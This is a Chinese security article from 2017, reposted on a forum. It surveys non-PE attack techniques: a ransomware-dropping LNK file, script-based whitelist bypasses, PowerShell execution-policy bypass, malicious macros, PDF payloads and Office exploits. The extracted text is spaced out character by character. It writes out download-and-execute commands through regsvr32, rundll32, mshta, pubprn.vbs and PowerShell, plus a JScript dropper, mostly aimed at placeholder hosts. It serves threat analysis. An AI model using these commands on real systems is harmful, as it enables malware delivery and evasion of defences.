搜索

[11689] 2017-08-21_浅谈非PE的攻击技巧

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2017-08-21_浅谈非PE的攻击技巧 浅 谈 非 P E 的 攻 击 技 巧 渔 村 安 全   F r e e B u f   2 0 1 7 - 0 8 - 2 1 背 景 背 景 近 日 ， 金 山 毒 霸 安 全 中 心 捕 获 到 一 例 利 用 邮 件 传 播 的 非 近 日 ， 金 山 毒 霸 安 全 中 心 捕 获 到 一 例 利 用 邮 件 传 播 的 非 P E 样 本 ， 类 型 为 样 本 ， 类 型 为 l n k 快 捷 方 式 文 件 ， 执 行 后 会 下 载 勒 索 快 捷 方 式 文 件 ， 执 行 后 会 下 载 勒 索 病 毒 ， 最 终 会 加 密 用 户 机 器 上 的 文 档 、 图 片 、 视 频 等 重 要 文 件 。 病 毒 ， 最 终 会 加 密 用 户 机 器 上 的 文 档 、 图 片 、 视 频 等 重 要 文 件 。 引 言 引 言 攻 击 者 ， 通 过 社 工 （ 社 会 工 程 ） ， 将 邮 件 发 送 到 受 害 者 邮 箱 中 ， 以 下 是 攻 击 者 发 送 来 的 邮 件 。 附 件 即 为 压 缩 后 的 样 本 ， 解 压 之 后 是 一 个 单 独 的 l n k 文 件 ， 具 体 信 息 如 下 图
通 过 工 具 分 离 l n k 参 数 ， 结 果 如 下 : 指 向 路 径 : 传 递 参 数 : 双 击 执 行 l n k 文 件 ， % t e m p % 下 生 成 的 文 件 如 下 ， 其 中 r a d 9 6 A 5 F . e x e 就 是 勒 索 病 毒 ， r a d 9 6 A 5 F . e x e 被 执 行 后 ， 文 档 、 图 片 、 视 频 等 重 要 文 件 被 加 密 ， 同 时 生 成 R E A D M E 文 件   C : W i n d o w s s y s t e m 3 2 m s h t a . e x e a b o u t : < s c r i p t   s r c = ' h x x p : / / n e y a - * * * . r u / c o n f i g . i n i ' > < / s c r i p t > h t t p s : / / m a i l . r u /   h x x p s : / / g o o g l e . c o m   /   h t t p s : / / y a n d e x . r u "
这 是 一 个 典 型 的 以 邮 件 作 为 传 播 媒 介 ， 以 非 P E 文 件 作 为 攻 击 载 荷 的 攻 击 过 程 。 本 文 将 以 该 案 例 为 切 入 点 ， 针 对 现 有 的 非 P E 攻 击 手 法 进 行 分 析 与 总 结 ， 内 容 包 括 脚 本 类 型 以 及 文 档 类 型 攻 击 ， 下 面 开 始 今 天 的 正 文 。 正 文 正 文 一 、 脚 本 攻 击 一 、 脚 本 攻 击 1 . J S c r i p t ， ， V B S c r i p t 还 是 还 是 P o w e r S h e l l ？ ？ J S c r i p t ， 由 微 软 开 发 的 活 动 脚 本 语 言 ， 典 型 脚 本 后 缀 名 . j s V B S c r i p t ， 基 于 V i s u a l   B a s i c 程 序 语 言 的 脚 本 语 言 ， 典 型 脚 本 后 缀 名 称 . v b s P o w e r S h e l l ， 可 以 认 为 是 增 强 型 C M D ， 典 型 脚 本 后 缀 名 称 . p s 1 通 过 对 1 6 年 下 半 年 与 1 7 年 上 半 年 样 本 类 型 进 行 分 析 ，   其 中 J S c r i p t 与 V B S c r i p t 的 比 例 为 7 : 3 ， 以 单 独 文 件 存 在 的 P o w e r S h e l l 攻 击 脚 本 少 之 又 少 ， 但 其 在 文 档 攻 击 中 却 颇 为 常 见 。 2 . 对 抗 对 抗 & 绕 过 绕 过 2 . 1   猜 猜 我 是 谁 猜 猜 我 是 谁 对 于 杀 软 厂 商 来 讲 ， P E 文 件 类 型 的 识 别 较 为 容 易 ， 因 为 它 们 有 固 定 的 格 式 以 及 标 记 ， 但 对 于 非 P E 样 本 来 讲 ， 识 别 文 件 类 型 是 一 个 比 较 困 难 的 问 题 ， 通 常 有 两 种 可 选 方 案 ， 各 有 优 缺 点 ， 方 案 a :   后 缀 识 别 方 案 b :   特 征 识 别 对 于 方 案 a 来 讲 ， 以 j s 、 v b s 为 例 ， 识 别 的 结 果 并 不 可 靠 ， 常 见 对 抗 方 法 : 1 . 将 j s 修 改 为 j s e ， v b s 修 改 为 v b e ， 当 然 也 可 以 放 在 w s f 脚 本 中 2 . 无 后 缀 或 者 其 他 后 缀 ， 通 过 w s c r i p t   / / e :   或 者 c s c r i p t   / / e :   方 式 执 行 对 于 方 案 b 来 讲 ， 常 见 对 抗 方 法 : 1 . 脚 本 文 件 头 部 ， 中 间 ， 尾 部 插 入 格 式 控 制 字 符
2 . 对 关 键 代 码 进 行 编 码 ， 混 淆 等 操 作 2 . 2   优 雅 抱 大 腿 优 雅 抱 大 腿 白 名 单 机 制 可 以 尽 可 能 的 减 少 对 正 常 操 作 者 的 误 报 情 况 发 生 ， 尤 其 在 一 些 特 定 的 受 限 环 境 中 。 所 以 寻 找 在 白 名 单 中 的 执 行 体 就 找 到 了 一 个 ” 大 腿 ” 。 w s c r i p t 与 c s c r i p t 作 为 j s ， v b s 脚 本 的 宿 主 进 程 ， 在 大 多 数 情 况 下 这 些 脚 本 都 能 顺 利 执 行 ， 但 如 果 在 某 些 受 限 环 境 下 ， 只 允 许 白 名 单 内 的 脚 本 文 件 执 行 ， 这 时 就 需 要 一 些 白 名 单 利 用 技 巧 ， 2 . 2 . 1   r e g s v r 3 2 . e x e r e g s v r 3 2 是 一 个 注 册 动 态 链 接 库 的 命 令 行 工 具 命 令 行 方 式 常 见 利 用 技 巧 其 中 s c t 脚 本 脚 本 如 下 2 . 2 . 2   r u n d l l 3 2 . e x e r u n d l l 3 2 . e x e 可 以 运 行 D L L 文 件 ， 使 用 方 法 如 下 : 命 令 行 格 式 : r u n d l l 3 2 . e x e   ,   可 以 用 如 下 命 令 行 执 行 J S 代 码   r e g s v r 3 2   / u   / n ]   d l l n a m e   r e g s v r 3 2   / s   / n   / u   / i : h t t p : / / X X X / a . s c t   s c r o b j . d l l < ? X M L   v e r s i o n = " 1 . 0 " ? > < s c r i p t l e t > < r e g i s t r a t i o n   p r o g i d = " a "   c l a s s i d = " { 1 0 0 0 1 1 1 1 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 F E E D A C D C } " >   < s c r i p t l a n g u a g e = " J S c r i p t " >   < ! [ C D A T A [     n e w A c t i v e X O b j e c t ( " W S c r i p t . S h e l l " ) . R u n ( " c a l c " ) ;   ] ] > < / s c r i p t > < / r e g i s t r a t i o n > < / s c r i p t l e t > r u n d l l 3 2 . e x e j a v a s c r i p t : " . . m s h t m l , R u n H T M L A p p l i c a t i o n " ; n e w % 2 0 A c t i v e X O b j e c t ( " W S c r i p t . S h e l l " ) . R u n ( " c a l c " ) ; w i n d o w . c l o s e ( ) ;
2 . 2 . 3   m s h t a . e x e m s h t a . e x e 作 为 . h t a 文 件 的 宿 主 进 程 ， 其 执 行 j s 代 码 的 命 令 行 方 式 如 下 : 2 . 2 . 4   G e t O b j e c t 对 象 注 入 技 术 对 象 注 入 技 术 2 0 1 7 年 举 办 于 纳 什 维 尔 的 B S i d e s 会 议 上 ， C a s e y   S m i t h 与 M a t t   N e l s o n 做 了 一 个 演 讲 ， 当 中 提 到 了 利 用 G e t O b j e c t 函 数 绕 过 受 限 系 统 的 白 名 单 防 护 ， 其 中 一 个 利 用 P u b P r n . v b s 脚 本 ( 已 被 微 软 签 名 ) ， 中 文 系 统 位 于 英 文 系 统 位 于 典 型 的 利 用 方 式 如 下 2 . 2 . 5   P o w e r S h e l l   E x e c u t i o n   P o l i c y 绕 过 绕 过 P o w e r S h e l l 作 为 增 强 型 C M D ， 其 功 能 不 可 不 说 强 大 ， 一 个 简 单 的 下 载 执 行 代 码 如 下 : 但 如 果 遇 到 要 执 行 本 地 文 件 ， 则 可 能 遇 到 E x e c u t i o n   P o l i c y 而 被 拦 截 ， m s h t a . e x e " j a v a s c r i p t : n e w % 2 0 A c t i v e X O b j e c t ( " W S c r i p t . S h e l l " ) . R u n ( " c a l c " ) ; w i n d o w . c l o s e ( ) " C : W i n d o w s S y s t e m 3 2 P r i n t i n g _ A d m i n _ S c r i p t s z h - C N C : W i n d o w s S y s t e m 3 2 P r i n t i n g _ A d m i n _ S c r i p t s e n - U S c s c r i p t   / b C : W i n d o w s S y s t e m 3 2 P r i n t i n g _ A d m i n _ S c r i p t s z h - C N p u b p r n . v b s   t e s t " s c r i p t : h t t p : / / 1 9 2 . 1 6 8 . 1 6 3 . 1 / a a a . s c t " p o w e r s h e l l - n o p   - c   " i e x ( N e w - O b j e c t N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / x x x / t e s t . p s 1 ' ) "
比 较 流 行 的 绕 过 方 式 如 下 : 方 式 1 方 式 2 除 过 上 述 的 绕 过 方 法 ， 当 然 也 存 在 其 他 的 绕 过 方 式 ， 具 体 可 见 此 处 。 2 . 3   喜 欢 装 单 纯 喜 欢 装 单 纯 当 然 ， 能 够 借 用 白 名 单 是 比 较 好 的 ， 但 为 了 保 险 起 见 ， 脚 本 自 身 也 不 能 过 分 的 表 露 自 身 意 图 ， 免 的 没 有 执 行 ， 就 被 直 接 干 掉 。 从 2 0 1 6 起 年 高 度 爆 发 的 通 过 脚 本 进 行 下 载 传 播 敲 诈 者 的 案 例 数 不 胜 数 ， 一 个 典 型 的 j s 下 载 执 行 代 码 如 下 通 常 ， 恶 意 脚 本 并 不 会 这 么 直 接 ， 经 过 简 单 的 替 换 、 编 码 就 可 以 达 到 躲 避 静 态 特 征 分 析 ， 当 然 经 过 混 淆 操 作 能 更 好 的 掩 盖 自 身 目 的 ， 具 体 混 淆 方 式 ， 可 参 考 此 处 。 在 脚 本 行 为 上 ， 目 前 的 趋 势 是 “ 暴 露 尽 可 能 少 的 代 码 ” ， 常 见 的 方 式 是 通 过 2 段 代 码 分 级 执 行 ， 常 见 的 第 2 级 代 码 获 取 方 式 为 联 网 下 载 ， 或 者 是 从 本 机 环 境 中 进 行 获 取 ( 如 : 进 程 环 境 ， 注 册 表 ， 事 件 日 志 ) ， 而 第 2 级 类 型 通 常 为 一 个 P E 文 件 ， 而 目 前 对 于 第 2 级 P E 的 执 行 方 式 ， 也 渐 渐 从 之 前 的 直 接 允 许 转 换 到 延 迟 执 行 ， 如 下 : 通 过 设 置 计 划 任 务 方 式 在 开 机 时 执 行 。 3 . W i n 1 0   A M S I 机 制 机 制 说 点 别 的 ， 微 软 在 W i n 1 0 系 统 上 开 放 了 A M S I ( A n t i m a l w a r e   S c a n   I n t e r f a c e ) 接 口 ， A M S I 接 口 通 过 扫 描 文 件 ， 内 存 、 数 据 流 、 U R L 、 I P 等 识 别 恶 意 行 为 ， 号 称 能 够 让 利 用 w i n d o w s 内 置 h o s t 脚 本 隐 藏 或 混 淆 的 恶 意 脚 本 无 所 遁 形 。 对 于 A M S I 的 具 体 介 绍 以 及 绕 过 方 式 可 参 见 此 处 。 二 、 文 档 攻 击 二 、 文 档 攻 击 1 . 关 于 关 于 o f f i c e 文 档 攻 击 文 档 攻 击 一 直 以 来 ， M i c r o s o f t O f f i c e   系 列 都 是 最 流 行 的 文 字 处 理 程 序 ， 并 且 O f f i c e 系 列 拥 有 庞 大 的 用 户 群 体 。 正 因 如 此 ， 攻 击 者 同 样 也 喜 欢 利 用 O f f i c e 系 列 作 为 载 体 。 其 中 在 O f f i c e 系 列 中 W o r d 文 档 类 型 尤 为 突 出 。 研 究 过 程 中 ，   我 们 观 察 到 攻 击 者 经 常 会 通 过 电 子 邮 件 来 进 行 传 播 大 量 包 含 了 恶 意 文 档 的 电 子 邮 件 ， 邮 件 内 容 是 精 心 构 造 ， 以 便 诱 导 用 户 点 击 。 0 x 1 、 宏 安 全 （ 恶 意 宏 代 码 ） 、 宏 安 全 （ 恶 意 宏 代 码 ） 抽 样 统 计 显 示 ， 通 过 执 行 文 档 中 的 宏 代 码 ， 直 接 下 载 恶 意 程 序 是 目 前 攻 击 者 使 用 的 主 要 方 式 ， 用 户 打 开 文 档 中 招 后 就 会 连 接 远 端 下 载 恶 意 程 序 ， 从 而 导 致 用 户 计 算 机 中 毒 ， 攻 击 者 使 用 这 种 攻 击 方 式 的 好 处 是 可 以 随 时 在 云 端 替 换 下 载 文 件 ， 以 达 到 自 己 想 要 的 目 的 。   p o w e r s h e l l   - n o p   - e x e c b y p a s s   . / r u n m e . p s 1 t y p e   . / r u n m e . p s 1   | P o w e r S h e l l . e x e   - n o p r o f i l e   - v a r   o S h e l l   =   n e w   A c t i v e X O b j e c t ( " W S c r i p t . S h e l l " ) ; v a r   a p p d i r   =   o S h e l l . E x p a n d E n v i r o n m e n t S t r i n g s ( " % t e m p % " ) +   " a b c . e x e " ; u r l   = " h t t p : / / a b . c d / e " ; v a r   x m l H T T P   =   n e w   A c t i v e X O b j e c t ( " M i c r o s o f t . X M L H T T P " ) ; x m l H T T P . o p e n ( " G e t " ,   u r l ,   f a l s e ) ; x m l H T T P . s e n d ( ) ; v a r   a s   =   n e w   A c t i v e X O b j e c t ( " A D O D B . S t r e a m " ) ; a s . T y p e   = 1 ; a s . O p e n ( ) ; a s . w r i t e ( x m l H T T P . r e s p o n s e B o d y ) ; a s . S a v e T o F i l e ( a p p d i r ,   2 ) ; a s . C l o s e ( ) ; o S h e l l . R u n ( a p p d i r )
图 ： 图 ： w o r d 中 内 嵌 恶 意 宏 代 码 ， 远 程 下 载 恶 意 程 序 0 x 2 、 、 w o r d 文 件 诱 导 下 载 文 件 诱 导 下 载 此 外 ， 文 档 中 直 接 捆 绑 恶 意 程 序 比 例 也 较 大 , 该 类 方 式 主 要 是 直 接 将 恶 意 程 序 捆 绑 在 文 档 中 。 0 x 3 、 、 O f f i c e 漏 洞 攻 击 漏 洞 攻 击 典 型 的 o f f i c e   C V E 包 含 ： C V E - 2 0 1 7 - 0 1 9 9 C V E - 2 0 1 7 - 8 5 7 0   C V E - 2 0 1 5 - 1 6 4 1 C V E - 2 0 1 5 - 2 5 4 5 C V E - 2 0 1 2 - 0 1 5 8 2 0 1 7 年 3 月 爆 出 新 漏 洞 C V E - 2 0 1 7 - 0 1 9 9 可 谓 是 目 前 o f f i c e 漏 洞 中 的 N o . 1 ， 该 漏 洞 利 用 方 法 简 单 ， 漏 洞 影 响 范 围 广 , W i n d o w s 操 作 系 统 之 上 的 所 有 O f f i c e 版 本 ， 包 括 在 W i n d o w s   1 0 上 运 行 的 最 新 O f f i c e   2 0 1 6 均 受 影 响 ， 避 免 这 种 漏 洞 文 档 最 直 接 的 方 法 是 及 时 更 新 补 丁 。
C V E - 2 0 1 7 - 0 1 9 9   E X P 程 序 中 带 恶 意 U R L 2 . 关 于 关 于 p d f 文 档 攻 击 文 档 攻 击 P D F （ 便 携 式 文 件 格 式 ， P o r t a b l e   D o c u m e n t   F o r m a t ） 是 由 A d o b e   S y s t e m s 在 1 9 9 3 年 用 於 文 件 交 换 所 发 展 出 的 文 件 格 式 。 因 为 P D F 的 文 件 格 式 性 质 广 泛 用 于 商 业 办 公 ， 引 起 众 多 攻 击 者 对 其 开 展 技 术 研 究 ， 在 一 些 A P T （ A d v a n c e d P e r s i s t e n t   T h r e a t ） 攻 击 中 。 针 对 特 定 目 标 投 递 含 有 恶 意 代 码 的 P D F 文 档 ， 安 全 意 识 薄 弱 的 用 户 只 要 打 开 P D F 文 档 就 会 中 招 。 0 x 0 、 释 放 运 行 、 释 放 运 行 P D F 中 是 允 许 包 含 d o c m 文 件 。 然 后 P D F 中 嵌 入 j a v a s c r i p t 代 码 ， 释 放 d o c m 文 件 ， 并 执 行 该 文 件 图 ： 图 ： P D F 中 内 嵌 w o r d 文 件 当 选 择 打 开 文 档 后 ， d o c m 文 件 将 被 执 行 。 此 时 ， d o c m 中 内 嵌 的 恶 意 宏 代 码 也 相 应 的 被 执 行
0 x 1 、 诱 导 下 载 、 诱 导 下 载 P D F 会 伪 装 成 o f f i c e   应 用 下 载 ， 当 你 点 击 下 载 后 ， 很 可 能 会 是 带 有 恶 意 的 文 档 文 件 或 者 是 恶 意 可 执 行 文 件 0 x 2 、 漏 洞 攻 击 、 漏 洞 攻 击 a d o b e   R e a d e r 、 F o x i t 等 p d f 阅 读 工 具 的 漏 洞 攻 击 也 是 屡 见 不 鲜 , 也 有 攻 击 者 在 p d f 中 加 入 恶 意 的 p a y l o a d 进 行 攻 击
0 x 3 、 钓 鱼 攻 击 、 钓 鱼 攻 击 p d f 钓 鱼 攻 击 案 例 ： 与 其 他 垃 圾 邮 件 广 告 系 列 不 同 ， 我 们 在 钓 鱼 攻 击 中 看 到 的 P D F 不 包 含 恶 意 软 件 或 漏 洞 利 用 代 码 。 相 反 ， 攻 击 者 会 依 制 作 高 仿 制 的 钓 鱼 网 页 ， 如 果 此 时 你 警 惕 性 不 高 ， 将 会 泄 露 个 人 的 敏 感 信 息 。 如 下 图 点 击 链 接 ， 你 将 进 入 一 个 假 的 A p p l e 登 录 页 面 ， 该 页 面 要 求 你 输 入 A p p l e   I D   以 及 你 的 密 码 信 息 。 图 ： 图 ： 伪 造 成 A P P L E 官 方 的 支 付 协 定 说 点 其 他 的 ： 说 点 其 他 的 ：
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理